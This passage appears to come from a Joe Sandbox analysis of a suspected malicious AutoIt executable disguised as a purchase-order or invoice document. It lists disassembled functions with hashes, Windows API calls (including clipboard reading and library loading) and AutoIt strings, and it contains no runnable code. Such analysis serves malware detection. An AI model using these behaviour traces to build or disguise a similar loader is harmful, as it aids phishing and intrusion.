                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
                                                                                            • Instruction ID: c47bdb3f9c9e38c5d46ddb9e43dedaf70276048770aeb58bd274f21c588a824b
                                                                                            • Opcode Fuzzy Hash: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
                                                                                            • Instruction Fuzzy Hash: 1CD19073D1A9B30A8735852D42581AFEE626FD578031EC3E2CCD07F38AD16B5DA191D4
                                                                                            Function 0041240C Relevance: .4, Instructions: 361COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
                                                                                            • Instruction ID: ac15b8da1a4b082d71a0b082c8349c97121379a14580263daf363e6ab8f75410
                                                                                            • Opcode Fuzzy Hash: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
                                                                                            • Instruction Fuzzy Hash: 87C18173C0A9B30A8736812D42641AFEE626FD579031FC3E2CCD47F38A91AB5DA195D4
                                                                                            Function 00412038 Relevance: .4, Instructions: 351COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
                                                                                            • Instruction ID: aa957cafbedeae1199dea6a597ba911d219650f283d164fb65797e90308ef47b
                                                                                            • Opcode Fuzzy Hash: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
                                                                                            • Instruction Fuzzy Hash: 5FC18E73D0A9B30A8735812D42581AFEE626FD578031EC3E28CE46F38ED26F5DA195D4
                                                                                            Function 0405AE38 Relevance: .1, Instructions: 92COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111762391.0000000004057000.00000040.00000020.00020000.00000000.sdmp, Offset: 04057000, based on PE: false
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_4057000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
                                                                                            • Instruction ID: f20940ea0ca8d3adcdb7c0c154be83a610b1765bbe7d2aa99b106a0d2118e1e1
                                                                                            • Opcode Fuzzy Hash: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
                                                                                            • Instruction Fuzzy Hash: C041A471D1051CDBCF48CFADC991AAEBBF1EF88201F548299D516AB345D730AB41DB50
                                                                                            Function 0405AD28 Relevance: .0, Instructions: 35COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111762391.0000000004057000.00000040.00000020.00020000.00000000.sdmp, Offset: 04057000, based on PE: false
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_4057000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
                                                                                            • Instruction ID: e1f9f35f93bf193e02dfd49d984b20737fe8dca7e4d59015a98da08fb0b7ac08
                                                                                            • Opcode Fuzzy Hash: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
                                                                                            • Instruction Fuzzy Hash: 53018078A01109EFCB44EF98C5909AEF7F5FB48210F208699DC09A7311D730AE41DF90
                                                                                            Function 0405ACC8 Relevance: .0, Instructions: 35COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111762391.0000000004057000.00000040.00000020.00020000.00000000.sdmp, Offset: 04057000, based on PE: false
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_4057000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
                                                                                            • Instruction ID: 53fd9096c15706f75cd57b90f20fa4194f1d6bfc3fb77f09924448548a43009c
                                                                                            • Opcode Fuzzy Hash: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
                                                                                            • Instruction Fuzzy Hash: D4018078A00109EFCB48DF98C5909AEFBF6FB88210F208699DC09A7311D730AE41DF90
                                                                                            Function 00410D10 Relevance: .0, Instructions: 19COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 304d221b5688423ebfa6c473264aec07cdb78ae451f757bdd5acbbf2c1e92ad4
                                                                                            • Instruction ID: b8cfd58d412160527e66ace840abba843d94ac3f5b06779728c9fe736b8606cc
                                                                                            • Opcode Fuzzy Hash: 304d221b5688423ebfa6c473264aec07cdb78ae451f757bdd5acbbf2c1e92ad4
                                                                                            • Instruction Fuzzy Hash: ECD012F621844146F33144D866C0BD100437344310FB58C276005CEBC1C0DDECD6C229
                                                                                            Function 040596B8 Relevance: .0, Instructions: 6COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111762391.0000000004057000.00000040.00000020.00020000.00000000.sdmp, Offset: 04057000, based on PE: false
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_4057000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
                                                                                            • Instruction ID: 2052e7d0eb43af8a57a5c2d707c06396f1b84aee57587abda472ed480d51124b
                                                                                            • Opcode Fuzzy Hash: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
                                                                                            • Instruction Fuzzy Hash: 1AB012310527488BC2118B89E008B1073ECA308E04F1000B0D40C07B01827874008D48
                                                                                            Function 00459384 Relevance: 79.2, APIs: 41, Strings: 4, Instructions: 480filewindowcomCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • DeleteObject.GDI32(?), ref: 004593D7
                                                                                            • DeleteObject.GDI32(?), ref: 004593F1
                                                                                            • DestroyWindow.USER32(?), ref: 00459407
                                                                                            • GetDesktopWindow.USER32 ref: 0045942A
                                                                                            • GetWindowRect.USER32(00000000), ref: 00459431
                                                                                            • SetRect.USER32(50000001,00000000,00000000,000001F4,?), ref: 00459568
                                                                                            • AdjustWindowRectEx.USER32(?,88C00000,00000000,?), ref: 00459577
                                                                                            • CreateWindowExW.USER32(?,AutoIt v3,00000000,?,88C00000,?,?,50000001,?,?,00000000,00000000), ref: 004595BB
                                                                                            • GetClientRect.USER32(00000000,?), ref: 004595C8
                                                                                            • CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,?,00000000,00000000,00000000), ref: 00459615
                                                                                            • CreateFileW.KERNEL32(00000000,?,80000000,00000000,00000000,00000003,00000000,00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 00459635
                                                                                            • GetFileSize.KERNEL32(00000000,00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 00459654
                                                                                            • GlobalAlloc.KERNEL32(00000002,00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 0045965F
                                                                                            • GlobalLock.KERNEL32(00000000), ref: 00459668
                                                                                            • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 00459678
                                                                                            • GlobalUnlock.KERNEL32(00000000), ref: 0045967F
                                                                                            • CloseHandle.KERNEL32(00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 00459686
                                                                                            • CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,50000001,?,?,00000000,00000000,00000000), ref: 00459694
                                                                                            • OleLoadPicture.OLEAUT32(?,00000000,00000000,00482A20,000001F4), ref: 004596AD
                                                                                            • GlobalFree.KERNEL32(00000000), ref: 004596C0
                                                                                            • CopyImage.USER32(000000FF,00000000,00000000,00000000,00002000), ref: 004596EF
                                                                                            • SendMessageW.USER32(00000000,00000172,00000000,000000FF), ref: 00459712
                                                                                            • SetWindowPos.USER32(00000000,00000000,00000000,00000000,?,?,00000020,?,50000001,?,?,00000000,00000000,00000000), ref: 0045973D
                                                                                            • ShowWindow.USER32(?,00000004,?,50000001,?,?,00000000,00000000,00000000), ref: 0045974B
                                                                                            • CreateWindowExW.USER32(00000000,static,00000000,?,?,0000000B,0000000B,?,?,?,00000000,00000000), ref: 0045979C
                                                                                            • CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 004597AD
                                                                                            • GetStockObject.GDI32(00000011), ref: 004597B7
                                                                                            • SelectObject.GDI32(00000000,00000000), ref: 004597BF
                                                                                            • GetTextFaceW.GDI32(00000000,00000040,00000190,?,50000001,?,?,00000000,00000000,00000000), ref: 004597CD
                                                                                            • GetDeviceCaps.GDI32(00000000,0000005A), ref: 004597D6
                                                                                            • DeleteDC.GDI32(00000000), ref: 004597E1
                                                                                            • _wcslen.LIBCMT ref: 00459800
                                                                                            • _wcscpy.LIBCMT ref: 0045981F
                                                                                            • CreateFontW.GDI32(?,00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,00000190), ref: 004598BB
                                                                                            • SendMessageW.USER32(?,00000030,00000000,00000001), ref: 004598D0
                                                                                            • GetDC.USER32(?), ref: 004598DE
                                                                                            • SelectObject.GDI32(00000000,?), ref: 004598EE
                                                                                            • SelectObject.GDI32(00000000,?), ref: 00459919
                                                                                            • ReleaseDC.USER32(?,00000000), ref: 00459925
                                                                                            • MoveWindow.USER32(?,0000000B,?,?,?,00000001), ref: 00459943
                                                                                            • ShowWindow.USER32(?,00000004,?,00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,00000190), ref: 00459951
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Window$Create$Object$Global$Rect$DeleteFileSelect$MessageSendShow$AdjustAllocCapsClientCloseCopyDesktopDestroyDeviceFaceFontFreeHandleImageLoadLockMovePictureReadReleaseSizeStockStreamTextUnlock_wcscpy_wcslen
                                                                                            • String ID: $AutoIt v3$DISPLAY$static
                                                                                            • API String ID: 4040870279-2373415609
                                                                                            • Opcode ID: d6fd8d7be04635d93ea84c38fc4cb072183cdb5133bdcfdddae5d23db1010fc6
                                                                                            • Instruction ID: fce7466cc8f2b4b34a2e278d60cb4f704f90ff1017bfb666dbfc83d8aba9d67a
                                                                                            • Opcode Fuzzy Hash: d6fd8d7be04635d93ea84c38fc4cb072183cdb5133bdcfdddae5d23db1010fc6
                                                                                            • Instruction Fuzzy Hash: 3F028C70204301EFD714DF64DE89F2BB7A8AB84705F104A2DFA45AB2D2D7B4E805CB69
                                                                                            Function 00403E50 Relevance: 45.7, APIs: 14, Strings: 12, Instructions: 236COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: __wcsnicmp
                                                                                            • String ID: #NoAutoIt3Execute$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#requireadmin$Cannot parse #include$Unterminated group of comments
                                                                                            • API String ID: 1038674560-3360698832
                                                                                            • Opcode ID: c74d0d52908dbbec4f5022c33a9c4844136c2b84c95de0bb8b15b994b6f8f789
                                                                                            • Instruction ID: b6083b7aed1673b33e689ff2aa7e8f17f47d7310e90ec65f4167159f85ee96f3
                                                                                            • Opcode Fuzzy Hash: c74d0d52908dbbec4f5022c33a9c4844136c2b84c95de0bb8b15b994b6f8f789
                                                                                            • Instruction Fuzzy Hash: 5A611471B4071076EA306A229C46FAB735CDF14345F50052FFC01A628BE7ADDA4A86EE
                                                                                            Function 00433D5C Relevance: 42.2, APIs: 28, Instructions: 198windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetSysColor.USER32(0000000E), ref: 00433D81
                                                                                            • SetTextColor.GDI32(?,00000000), ref: 00433D89
                                                                                            • GetSysColor.USER32(00000012), ref: 00433DA3
                                                                                            • SetTextColor.GDI32(?,?), ref: 00433DAB
                                                                                            • GetSysColorBrush.USER32(0000000F), ref: 00433DBF
                                                                                            • GetSysColor.USER32(0000000F), ref: 00433DCB
                                                                                            • CreateSolidBrush.GDI32(?), ref: 00433DD4
                                                                                            • GetSysColor.USER32(00000011), ref: 00433DEB
                                                                                            • CreatePen.GDI32(00000000,00000001,00743C00), ref: 00433DFD
                                                                                            • SelectObject.GDI32(?,00000000), ref: 00433E0D
                                                                                            • SetBkColor.GDI32(?,?), ref: 00433E19
                                                                                            • SelectObject.GDI32(?,?), ref: 00433E29
                                                                                            • InflateRect.USER32(?,000000FF,000000FF), ref: 00433E54
                                                                                            • RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00433E73
                                                                                            • GetWindowLongW.USER32 ref: 00433E8A
                                                                                            • SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00433EAC
                                                                                            • GetWindowTextW.USER32(00000000,00000000,00000105), ref: 00433EE1
                                                                                            • InflateRect.USER32(?,000000FD,000000FD), ref: 00433F13
                                                                                            • DrawFocusRect.USER32(?,?), ref: 00433F1F
                                                                                            • GetSysColor.USER32(00000011), ref: 00433F2E
                                                                                            • SetTextColor.GDI32(?,00000000), ref: 00433F36
                                                                                            • DrawTextW.USER32(?,?,000000FF,?,?), ref: 00433F4E
                                                                                            • SelectObject.GDI32(?,?), ref: 00433F63
                                                                                            • DeleteObject.GDI32(?), ref: 00433F70
                                                                                            • SelectObject.GDI32(?,?), ref: 00433F78
                                                                                            • DeleteObject.GDI32(00000000), ref: 00433F7B
                                                                                            • SetTextColor.GDI32(?,?), ref: 00433F83
                                                                                            • SetBkColor.GDI32(?,?), ref: 00433F8F
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Color$ObjectText$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
                                                                                            • String ID:
                                                                                            • API String ID: 1582027408-0
                                                                                            • Opcode ID: e151e7129dedd9b649cf5279759d6c8ca4f2d2edd5ec07a1e2c3294b07796789
                                                                                            • Instruction ID: aa454ab644ffbff4d2185aee23397a25bdbdaef3ad5a75b83a3ebbbeed3afe32
                                                                                            • Opcode Fuzzy Hash: e151e7129dedd9b649cf5279759d6c8ca4f2d2edd5ec07a1e2c3294b07796789
                                                                                            • Instruction Fuzzy Hash: 53710570508340AFD304DF68DD88A6FBBF9FF89711F104A2DFA5592290D7B4E9418B6A
                                                                                            Function 0046C604 Relevance: 40.5, APIs: 22, Strings: 1, Instructions: 216clipboardCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • OpenClipboard.USER32(?), ref: 0046C635
                                                                                            • IsClipboardFormatAvailable.USER32(0000000D), ref: 0046C643
                                                                                            • GetClipboardData.USER32(0000000D), ref: 0046C64F
                                                                                            • CloseClipboard.USER32 ref: 0046C65D
                                                                                            • GlobalLock.KERNEL32(00000000), ref: 0046C688
                                                                                            • CloseClipboard.USER32 ref: 0046C692
                                                                                            • IsClipboardFormatAvailable.USER32(00000001), ref: 0046C6D5
                                                                                            • GetClipboardData.USER32(00000001), ref: 0046C6DD
                                                                                            • GlobalLock.KERNEL32(00000000), ref: 0046C6EE
                                                                                            • GlobalUnlock.KERNEL32(00000000), ref: 0046C726
                                                                                            • CloseClipboard.USER32 ref: 0046C866
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Clipboard$CloseGlobal$AvailableDataFormatLock$OpenUnlock
                                                                                            • String ID: HH
                                                                                            • API String ID: 589737431-2761332787
                                                                                            • Opcode ID: 1f8588b948bb152d659cc961560e711d284fc80ef968a1445fa6f6d22cce4332
                                                                                            • Instruction ID: ccec0c76267f611a980a6192e38ed766f4c6ddce8b7f15b38bc446a2cb1d96e7
                                                                                            • Opcode Fuzzy Hash: 1f8588b948bb152d659cc961560e711d284fc80ef968a1445fa6f6d22cce4332
                                                                                            • Instruction Fuzzy Hash: 4D61E5722003019BD310EF65DD86B5E77A8EF54715F00483EFA41E72D1EBB5D9048BAA
                                                                                            Function 0045657D Relevance: 38.8, APIs: 19, Strings: 3, Instructions: 287windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetCursorPos.USER32(?), ref: 00456692
                                                                                            • GetDesktopWindow.USER32 ref: 004566AA
                                                                                            • GetWindowRect.USER32(00000000), ref: 004566B1
                                                                                            • GetWindowLongW.USER32(?,000000F0), ref: 0045670D
                                                                                            • GetWindowLongW.USER32(?,000000F0), ref: 00456720
                                                                                            • DestroyWindow.USER32(?), ref: 00456731
                                                                                            • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00456779
                                                                                            • SendMessageW.USER32(00000000,00000432,00000000,0000002C), ref: 00456797
                                                                                            • SendMessageW.USER32(?,00000439,00000000,0000002C), ref: 004567C0
                                                                                            • SendMessageW.USER32(?,00000421,?,?), ref: 004567D8
                                                                                            • SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 004567EE
                                                                                            • IsWindowVisible.USER32(?), ref: 00456812
                                                                                            • SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 0045682E
                                                                                            • SendMessageW.USER32(?,00000411,00000001,0000002C), ref: 00456843
                                                                                            • GetWindowRect.USER32(?,?), ref: 0045685C
                                                                                            • MonitorFromPoint.USER32(?,?,00000002), ref: 00456880
                                                                                            • GetMonitorInfoW.USER32 ref: 00456894
                                                                                            • CopyRect.USER32(?,?), ref: 004568A8
                                                                                            • SendMessageW.USER32(?,00000412,00000000), ref: 0045690A
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Window$MessageSend$Rect$LongMonitor$CopyCreateCursorDesktopDestroyFromInfoPointVisible
                                                                                            • String ID: ($,$tooltips_class32
                                                                                            • API String ID: 541082891-3320066284
                                                                                            • Opcode ID: 25380f5391d2fe641591a116f81b43842710cc101ecbbf85cfa067c854d9f55a
                                                                                            • Instruction ID: 3987ef5f26dee50c6234681dd74380f3ee0746d74ffcadc96223edc745891050
                                                                                            • Opcode Fuzzy Hash: 25380f5391d2fe641591a116f81b43842710cc101ecbbf85cfa067c854d9f55a
                                                                                            • Instruction Fuzzy Hash: 33B18EB0604341AFD714DF64C984B6BB7E5EF88704F408D2DF989A7292D778E848CB5A
                                                                                            Function 00454DAA Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 203windowlibraryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • _wcslen.LIBCMT ref: 00454DCF
                                                                                            • _wcslen.LIBCMT ref: 00454DE2
                                                                                            • __wcsicoll.LIBCMT ref: 00454DEF
                                                                                            • _wcslen.LIBCMT ref: 00454E04
                                                                                            • __wcsicoll.LIBCMT ref: 00454E11
                                                                                            • _wcslen.LIBCMT ref: 00454E24
                                                                                            • __wcsicoll.LIBCMT ref: 00454E31
                                                                                              • Part of subcall function 004115D0: __wcsicmp_l.LIBCMT ref: 00411657
                                                                                            • LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 00454E65
                                                                                            • LoadLibraryExW.KERNEL32(?,00000000,00000032,?,?,?,?,?,?,?,?,?,00000000), ref: 00454E79
                                                                                            • LoadImageW.USER32(00000000,00000000,?,00000001,?,?), ref: 00454EB7
                                                                                            • LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 00454EFB
                                                                                            • LoadImageW.USER32(00000000,00000000,?,00000001,?,?), ref: 00454F2C
                                                                                            • FreeLibrary.KERNEL32(00000000), ref: 00454F37
                                                                                            • ExtractIconExW.SHELL32(?,00000000,00000000,?,00000001), ref: 00454F94
                                                                                            • DestroyIcon.USER32(?), ref: 00454FA2
                                                                                            • SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00454FC0
                                                                                            • SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00454FCC
                                                                                            • MoveWindow.USER32(?,?,?,?,?,00000001), ref: 00454FF1
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Load$Image_wcslen$__wcsicoll$IconLibraryMessageSend$DestroyExtractFreeMoveWindow__wcsicmp_l
                                                                                            • String ID: .dll$.exe$.icl
                                                                                            • API String ID: 2511167534-1154884017
                                                                                            • Opcode ID: 3f138871eb6b7f703bfd118eaab481945a2915db6d26b5ab3e2ea40d00a2935e
                                                                                            • Instruction ID: 777b7c61fe84a0ac0f88e3bb9536c5d4e291b97e4b5026f6b39318954af55ba4
